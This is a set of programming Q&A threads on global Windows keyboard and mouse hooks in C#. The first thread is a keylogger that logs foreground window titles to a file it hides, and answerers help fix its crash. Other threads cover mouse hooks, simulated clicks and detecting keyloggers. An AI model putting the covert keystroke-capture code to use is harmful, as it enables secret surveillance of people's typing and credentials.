I had been working on a key-logger in C#, windows forms, and I'm stuck up on some point.When I run my code, it works fine and records 20-25 keystrokes, but after that the program suddenly crashes and these are the error messages shown: (the first one completely stumps me)
1.A callback was made on a garbage collected delegate of type 'karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke'. This may cause application crashes, corruption and data loss. When passing delegates to unmanaged code, they must be kept alive by the managed application until it is guaranteed that they will never be called.
2.Then it shows 'Object Reference not set to an instance of the object.(Iam familiar with this one)
Code is as follows:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;
namespace karan_keylogger
{
public partial class Form1 : Form
{
KeysConverter kc;
private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
//private static LowLevelKeyboardProc keyhook = detect;
StreamWriter sw;
private const int WM_KEYDOWN = 0x0100;
bool shiftDown, inBetween, numLockPressed;
string currWindow, prevWindow,path;
IntPtr x;
[DllImport("User32.dll")]
public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
[DllImport("User32.dll")]
public static extern int GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public Form1()
{
InitializeComponent();
kc = new KeysConverter();
path="E:\\data.txt";
shiftDown = false;
//shiftUp = true;
inBetween = false;
numLockPressed = false;
currWindow = getTitle();
prevWindow = currWindow;
File.SetAttributes(path,FileAttributes.Normal);
sw = new StreamWriter(path, true);
sw.AutoFlush = true;
sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"- ");
File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
Process curProcess = Process.GetCurrentProcess();
ProcessModule curModule = curProcess.MainModule;
//private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
UnhookWindowsHookEx(x);
}
private string getTitle()
{
int handle = GetForegroundWindow();
StringBuilder sb = new StringBuilder(1000);
GetWindowText(handle, sb, 1000);
string winText = sb.ToString();
return winText;
}
private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
{
// logic for keystroke storing
return CallNextHookEx(x, ncode, wparam, lparam);
}
}
}
Any help would be really appreciated, this is a pet project!..
As the error message says, unmanaged code will not keep managed resources alive. You're creating a local variable, keyhook and passing it to SetWindowHookEx (i.e. into unmanaged code).
Then you exit your constructor, the keyhook variable goes out of scope, from your code's point of view it's no longer referenced anywhere, and that means it's ready for garbage collection. But the unmanaged code will keep using it. When the garbage collector sets in, the delegate is lost, and you'll get the error message.
Simply declare your delegate as a class member, rather than a local variable.
private LowLevelKeyboardProc keyhook;
Make keyhook a member of your form instead of a local var in the constructor
public partial class Form1: Form
{
LowLevelKeyboardProc keyhook;
public Form1()
{
keyhook = new LowLevelKeyboardProc(detect);
}
}
Related
I am running a global mouse hook from the main UI thread but wanted to run it in a background thread (comments appreciated), not sure how to achieve this. I am running some UIA code on background MTA thread but on updating the UI on the main thread the mouse becomes somewhat jerky when the user interface is being built for my application. I have tried cancelling all UIA event handlers in the application which were running on background MTA threads but still get the jerky mouse problem
Many thanks
MouseHook.MouseAction += new EventHandler(MouseHook_MouseAction);
MouseHook.Start();
private void MouseHook_MouseAction(object sender, EventArgs e)
{
//Do whatever
}
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
namespace myApp
{
public static class MouseHook
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public static event EventHandler MouseAction = delegate { };
private const int WH_MOUSE_LL = 14;
private enum MouseMessages
{
WM_LBUTTONDOWN = 0x0201,
WM_LBUTTONUP = 0x0202,
// WM_MOUSEMOVE = 0x0200,
//WM_MOUSEWHEEL = 0x020A,
WM_RBUTTONDOWN = 0x0204,
WM_RBUTTONUP = 0x0205
}
[StructLayout(LayoutKind.Sequential)]
private struct POINT
{
public int x;
public int y;
}
[StructLayout(LayoutKind.Sequential)]
private struct MSLLHOOKSTRUCT
{
public POINT pt;
public uint mouseData;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
public static void Start()
{
_hookID = SetHook(_proc);
}
public static void stop()
{
UnhookWindowsHookEx(_hookID);
}
private static LowLevelMouseProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static IntPtr SetHook(LowLevelMouseProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
IntPtr hook = SetWindowsHookEx(WH_MOUSE_LL, proc, GetModuleHandle("user32"), 0);
if (hook == IntPtr.Zero) throw new System.ComponentModel.Win32Exception();
return hook;
}
}
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && (MouseMessages.WM_LBUTTONDOWN == (MouseMessages)wParam || MouseMessages.WM_RBUTTONDOWN == (MouseMessages)wParam ))
{
MSLLHOOKSTRUCT hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));
MouseAction(null, new EventArgs());
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
}
I am trying to simulate mouse click without using mouse by sendmessage
somehow it not working but there is no error show.
here is my new code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Input;
using System.Diagnostics;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
private const int BM_CLICK = 0x00F5;
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]
static extern IntPtr FindWindowByCaption(IntPtr ZeroOnly, string lpWindowName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, string windowTitle);
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
IntPtr hwndChild = IntPtr.Zero;
IntPtr hwnd = IntPtr.Zero;
hwnd = FindWindow(null, "MSPaintApp");
hwndChild = FindWindowEx(hwnd, IntPtr.Zero, "Afx:00007FF765740000:8", null);
SendMessage(hwndChild, BM_CLICK, IntPtr.Zero, IntPtr.Zero);
}
}
}
Can you someone show me how to put X Y coordination that it will click on a child window. I saw many post teaching how to do that but i can't know understand it and the system said do not ask question in other people question :(
To me the problem is that MSPaintApp window should be searched by using FindWindow("MSPaintApp", null) because MSPaintApp is the class name, not the window caption.
Then, Afx:00007FF765740000:8 is not child of MSPaintApp, but is child of MSPaintView that is child of MSPaintApp.
Also you don't have to "simulate" a BM_CLICK, but you have to simulate a WM_LBUTTONDOWN and then a WM_LBUTTONUP
Please consider this sample that seems to work (on Windows 7)
class Program
{
private const uint WM_LBUTTONDOWN = 0x201;
private const uint WM_LBUTTONUP = 0x202;
private const uint MK_LBUTTON = 0x0001;
public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr parameter);
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, string windowTitle);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool EnumChildWindows(IntPtr hwndParent, EnumWindowsProc lpEnumFunc, IntPtr lParam);
static IntPtr childWindow;
static void Main(string[] args)
{
IntPtr hwndMain = FindWindow("MSPaintApp", null);
IntPtr hwndView = FindWindowEx(hwndMain, IntPtr.Zero, "MSPaintView", null);
// Getting the child windows of MSPaintView because it seems that the class name of the child isn't constant
EnumChildWindows(hwndView, new EnumWindowsProc(EnumWindow), IntPtr.Zero);
// Simulate press of left mouse button on coordinates 10, 10
SendMessage(childWindow, WM_LBUTTONDOWN, new IntPtr(MK_LBUTTON), CreateLParam(10, 10));
// Simulate release of left mouse button on coordinates 100, 100
SendMessage(childWindow, WM_LBUTTONUP, new IntPtr(MK_LBUTTON), CreateLParam(100, 100));
}
static bool EnumWindow(IntPtr handle, IntPtr pointer)
{
// Get the first child because it seems that MSPaintView has only this child
childWindow = handle;
// Stop enumerating the windows
return false;
}
private static IntPtr CreateLParam(int LoWord, int HiWord)
{
return (IntPtr)((HiWord << 16) | (LoWord & 0xffff));
}
}
I'm going back many years here but I'm pretty sure mouse event window messages aren't delivered when applications are minimised. I'm sure a minimised window is treated differently anyway.
That aside, does this code work when the window is not minimised? You might want to use Spy++ to look at the structure of the window a little more as I think you will need to get the hWnd of whatever you're trying to click and send the message there. Very much depends on how the application itself was written and how the UI is drawn.
I am trying to make a program that will be able to detect keyloggers on my system by installing a global hook on WH_DEBUG. My problem is, that GetModuleHandle (and - it seems - all of the other, more obscure ways of getting the module handle) return with null. I was hoping that someone here would be able to shed some light on the situation.
MainForm.cs:
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime;
using System.Diagnostics;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace MouseTimer
{
/// <summary>
/// Description of MainForm.
/// </summary>
public partial class MainForm : Form
{
public MainForm()
{
InitializeComponent();
}
public static void log(String ltxt)
{
((MainForm)Application.OpenForms[0]).richTextBox1.Text += ltxt+"\n";
((MainForm)Application.OpenForms[0]).richTextBox1.SelectionStart = ((MainForm)Application.OpenForms[0]).richTextBox1.Text.Length;
((MainForm)Application.OpenForms[0]).richTextBox1.ScrollToCaret();
}
public int DbgEvt(int code, IntPtr wParam, IntPtr lParam)
{
log("DBGEVT: "+wParam.ToString());
return 0;
}
void MainFormLoad(object sender, EventArgs e)
{
WindowsHook wh = new WindowsHook(HookType.WH_DEBUG, DbgEvt);
wh.Install();
}
}
}
WindowsHook.cs:
public class WindowsHook
{
public delegate int HookProc(int code, IntPtr wParam, IntPtr lParam);
protected IntPtr m_hhook = IntPtr.Zero;
protected HookProc m_filterFunc = null;
protected HookType m_hookType;
public delegate void HookEventHandler(object sender, HookEventArgs e);
public event HookEventHandler HookInvoked;
protected void OnHookInvoked(HookEventArgs e)
{
if (HookInvoked != null)
HookInvoked(this, e);
}
public WindowsHook(HookType hook)
{
m_hookType = hook;
m_filterFunc = new HookProc(this.CoreHookProc);
}
public WindowsHook(HookType hook, HookProc func)
{
m_hookType = hook;
m_filterFunc = func;
}
protected int CoreHookProc(int code, IntPtr wParam, IntPtr lParam)
{
if (code < 0)
return CallNextHookEx(m_hhook, code, wParam, lParam);
HookEventArgs e = new HookEventArgs();
e.HookCode = code;
e.wParam = wParam;
e.lParam = lParam;
OnHookInvoked(e);
return CallNextHookEx(m_hhook, code, wParam, lParam);
}
public void Install()
{
using (Process p = Process.GetCurrentProcess())
using (ProcessModule m = p.MainModule)
{
m_hhook = SetWindowsHookEx(m_hookType, m_filterFunc,
GetModuleHandle(m.ModuleName), 0);
}
}
public void Uninstall()
{
UnhookWindowsHookEx(m_hhook);
m_hhook = IntPtr.Zero;
}
public bool IsInstalled
{
get{ return m_hhook != IntPtr.Zero; }
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
protected static extern IntPtr SetWindowsHookEx(HookType code,
HookProc func,
IntPtr hInstance,
int threadID);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
protected static extern int UnhookWindowsHookEx(IntPtr hhook);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
protected static extern int CallNextHookEx(IntPtr hhook,
int code, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
The thing is, when I try a (low-level) mouse hook, it hooks just fine without the module handle. So I'm not sure what the problem is. Can anyone help?
Thanks in advance,
Mike
Global hooks are not supported for .Net.
See here: http://support.microsoft.com/kb/318804?wa=wsignin1.0
From which I quote:
Except for the WH_KEYBOARD_LL low-level hook and the WH_MOUSE_LL
low-level hook, you cannot implement global hooks in the Microsoft
.NET Framework. To install a global hook, a hook must have a native
DLL export to inject itself in another process that requires a valid,
consistent function to call into. This behavior requires a DLL export.
The .NET Framework does not support DLL exports. Managed code has no
concept of a consistent value for a function pointer because these
function pointers are proxies that are built dynamically.
I have a program that opens a GUI when run. I would then like to set up a mousehook using dllimports, but in order for it to work, I must call a new Application.Run() in this same class. Unfortunately though, this removes the original GUI. Is there any way I can run the mousehook on the original messageloop? I'm a bit lost here.
Here are a few key portions of the code:
//main
public static GUI GUIref;
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(GUIref = new GUI());
}
.
//Initializing constructor
public partial class GUI : Form
{
public GUI()
{
InitializeComponent();
keyReceive kR = new keyReceive();
mouseReceive mR = new mouseReceive();
}
}
.
//mousehook class:
public class mouseReceive : Form
{
private static LowLevelMouseProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public mouseReceive()
{
_hookID = SetHook(_proc);
//***This is where I have been putting Application.Run() to make the mousehook work***
UnhookWindowsHookEx(_hookID);
}
private static IntPtr SetHook(LowLevelMouseProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_MOUSE_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 &&
MouseMessages.WM_LBUTTONDOWN == (MouseMessages)wParam)
{
MessageBox.Show("");
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private const int WH_MOUSE_LL = 14;
private enum MouseMessages
{
WM_LBUTTONDOWN = 0x0201
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
In the mouseReceive constructor, you are setting the hook and then immediately unhooking it. If you insert the Application.Run() where your comment is, that blocks the thread until the new window closes, thus the hook is not unhooked and works. The real fix would be to remove UnhookWindowsHookEx(_hookID) from the constructor and put it into a IDisposable pattern.
Side note: You also might have problems if you try to instantiate more than one instance of your mouseReceive class as it has static members for _proc and _hookID.
i have a frustrating problem with registering global hook.
I am using this class in my windows application:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static void Hook()
{
_hookID = SetHook(_proc);
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
MessageBox.Show("Test");
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
Here is Program.cs
namespace TestHooks
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
InterceptKeys.Hook();
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
Everything works (MessageBox pops up) but windows freezes for a moment and beeper beeps. The problem doesn't occur on Windows 7 just on Vista. Any suggestions please?
You cannot use MessageBox in your code. It blocks execution, the keyboard goes dead. Use Console.WriteLine() for example, output goes to the Visual Studio Output window.
Beware that this code won't work anymore on .NET 4.0, GetModuleHandle() will return NULL.